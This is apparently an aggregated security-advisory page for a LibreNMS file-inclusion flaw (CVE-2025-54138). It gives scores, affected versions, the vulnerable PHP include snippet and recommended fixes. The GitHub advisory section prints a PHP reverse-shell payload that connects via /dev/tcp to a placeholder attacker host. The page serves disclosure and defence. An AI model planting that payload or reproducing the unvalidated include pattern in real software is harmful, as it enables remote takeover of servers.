7.5high
LibreNMS has Authenticated Local File Inclusion in ajax_form.php that Allows RCE
- Severity
- 7.5high CVSS:3.1 by GitHub_M
- Exploit likelihood
- 1.27% (higher than 70% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-gq96-8w38-hhj2
Description
LibreNMS is an auto-discovering PHP/MySQL/SNMP based network monitoring which includes support for a wide range of network hardware and operating systems. LibreNMS versions 25.6.0 and below contain an architectural vulnerability in the ajax_form.php endpoint that permits Remote File Inclusion based on user-controlled POST input. The application directly uses the type parameter to dynamically include .inc.php files from the trusted path includes/html/forms/, without validation or allowlisting. This pattern introduces a latent Remote Code Execution (RCE) vector if an attacker can stage a file in this include path — for example, via symlink, development misconfiguration, or chained vulnerabilities. This is fixed in version 25.7.0.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| librenms librenms | < 25.7.0, before 25.7.0 | CVE List, NVD |
| librenms/librenms (Packagist) | before 25.7.0 | GitHub Advisory Database |
All scores
| GitHub_M | 7.5high CVSS:3.1 | CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H |
| GitHub | 7.5high CVSS:3.1 | CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H |
Classification
SSVC (CISA-ADP): exploitation none, automatable no, technical impact total.
What each source says
CVE List
LibreNMS is an auto-discovering PHP/MySQL/SNMP based network monitoring which includes support for a wide range of network hardware and operating systems. LibreNMS versions 25.6.0 and below contain an architectural vulnerability in the ajax_form.php endpoint that permits Remote File Inclusion based on user-controlled POST input. The application directly uses the type parameter to dynamically include .inc.php files from the trusted path includes/html/forms/, without validation or allowlisting. This pattern introduces a latent Remote Code Execution (RCE) vector if an attacker can stage a file in this include path — for example, via symlink, development misconfiguration, or chained vulnerabilities. This is fixed in version 25.7.0.
GitHub Advisory Database
LibreNMS 25.6.0 contains an architectural vulnerability in the ajax_form.php endpoint that permits Remote File Inclusion based on user-controlled POST input.
The application directly uses the type parameter to dynamically include .inc.php files from the trusted path includes/html/forms/, without validation or allowlisting:
if (file_exists('includes/html/forms/' . $_POST['type'] . '.inc.php')) {
include_once 'includes/html/forms/' . $_POST['type'] . '.inc.php';
}
This pattern introduces a latent Remote Code Execution (RCE) vector if an attacker can stage a file in this include path — for example, via symlink, development misconfiguration, or chained vulnerabilities.
This is not an arbitrary file upload bug. But it does provide a powerful execution sink for attackers with write access (direct or indirect) to the include directory.
Conditions for Exploitation
- Attacker must be authenticated
- Attacker must control a file at
includes/html/forms/{type}.inc.php(or symlink)
Example Impact (RCE)
If a PHP file or symlinked shell is staged in the include path, an attacker can achieve full remote code execution under the librenms user context:
<?php system('/bin/bash -c "bash -i >& /dev/tcp/ATTACKER-IP/4444 0>&1"'); ?>
https://github.com/user-attachments/assets/deb9ccd2-101c-4172-89b1-b840b7ed3812
Recommended Fix
- Implement strict allow listing or hardcoded routing instead of dynamically including user-supplied filenames.
- Avoid passing raw POST input into
include_once. - Ensure the inclusion path is immutable and outside attacker control (e.g., avoid variable expansion into trusted paths).
NVD (es)
LibreNMS es un sistema de monitorización de red con autodescubrimiento basado en PHP/MySQL/SNMP, compatible con una amplia gama de hardware de red y sistemas operativos. Las versiones 25.6.0 y anteriores de LibreNMS contienen una vulnerabilidad arquitectónica en el endpoint ajax_form.php que permite la inclusión remota de archivos (.inc.php) mediante la entrada POST controlada por el usuario. La aplicación utiliza directamente el parámetro type para incluir dinámicamente archivos .inc.php desde la ruta de confianza `includes/html/forms/`, sin validación ni inclusión en la lista de permitidos. Este patrón introduce un vector latente de ejecución remota de código (RCE) si un atacante puede preparar un archivo en esta ruta de inclusión, por ejemplo, mediante un enlace simbólico, una configuración incorrecta en el desarrollo o vulnerabilidades encadenadas. Esto se ha corregido en la versión 25.7.0.
References
| https://github.com/librenms/librenms/security/advisories/GHSA-gq96-8w38-hhj2 | exploit, vendor-advisory, web | |
| https://github.com/librenms/librenms/pull/17990 | issue-tracking, web | |
| https://github.com/librenms/librenms/commit/ec89714d929ef0cf2321957ed9198b0f18396c81 | patch, web | |
| https://github.com/librenms/librenms/releases/tag/25.7.0 | release-notes, web | |
| https://nvd.nist.gov/vuln/detail/CVE-2025-54138 | advisory | |
| https://github.com/librenms/librenms | package | |
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2025-54138 changed 2025-07-23 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-gq96-8w38-hhj2 changed 2025-07-23 | CC-BY-4.0 |
| NVD | CVE-2025-54138 changed 2026-06-17 | Public domain |